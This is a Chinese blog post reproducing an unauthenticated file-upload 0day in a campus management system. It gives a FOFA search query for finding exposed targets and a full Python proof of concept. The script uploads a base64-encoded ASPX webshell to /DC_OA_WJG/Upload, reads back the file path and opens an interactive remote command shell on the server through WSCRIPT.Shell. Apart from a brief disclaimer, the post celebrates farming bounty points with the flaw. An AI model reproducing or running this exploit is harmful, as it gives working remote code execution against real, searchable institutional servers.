前言
声明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于它用途,希望大家做一个合格的白帽子!
今天中午看到PeiQi师傅发的复现文章,没想到是0day,到晚上在去刷的时候发现已经晚了,分都被刷了。。。
Part.1 漏洞复现
下面开始复现吧,FOFA语句: body="DC_Login/QYSignUp"
48*3=150分+,上分利器啊!
点开是个统一登录平台,可以看到有个企业注册的按钮
在注册信息里包含着上传附件的模块
可以看到这个上传点对.aspx文件没有任何过滤,直接就能上传
上传成功后还返回了上传的路径
那不是一把梭的嘛!!蚁剑已成功上线!
Part.2 POC
最后附上大师傅的POC:
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 智慧校园管理系统 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/DC_OA_WJG/Upload"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNxqOHxbHqt9mf7s5",
}
data = base64.b64decode("LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5TnhxT0h4YkhxdDltZjdzNQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVwRmlsZSI7IGZpbGVuYW1lPSJQZWlRaS5hc3B4IgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQoKPHNjcmlwdCBsYW5ndWFnZT0iSlNjcmlwdCIgcnVuYXQ9InNlcnZlciI+ZnVuY3Rpb24gUGFnZV9Mb2FkKCl7ZXZhbChSZXF1ZXN0WyJQZWlRaSJdLCJ1bnNhZmUiKTt9PC9zY3JpcHQ+CgotLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlOeHFPSHhiSHF0OW1mN3M1LS0=")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/DC_OA_WJG/Upload 尝试上传木马..... \033[0m".format(target_url))
if 'true' in response.text and 'path' in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 成功上传 Webshell文件\033[0m".format(target_url))
webshell_path = re.findall(r'"path":"(.*?)"', response.text)[0]
print("\033[32m[o] Webshell文件地址: {}/{} \033[0m".format(target_url, webshell_path))
while True:
Cmd = str(input("\033[35mCmd >>> \033[0m"))
cmd_url = target_url + "/" + webshell_path + "?PeiQi=Response.Write(new%20ActiveXObject(%22WSCRIPT.Shell%22).exec(%22cmd%20/c%20{}%22).StdOut.ReadAll());".format(Cmd)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=cmd_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 目标 {} 上传Webshell文件失败\033[0m".format(target_url))
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)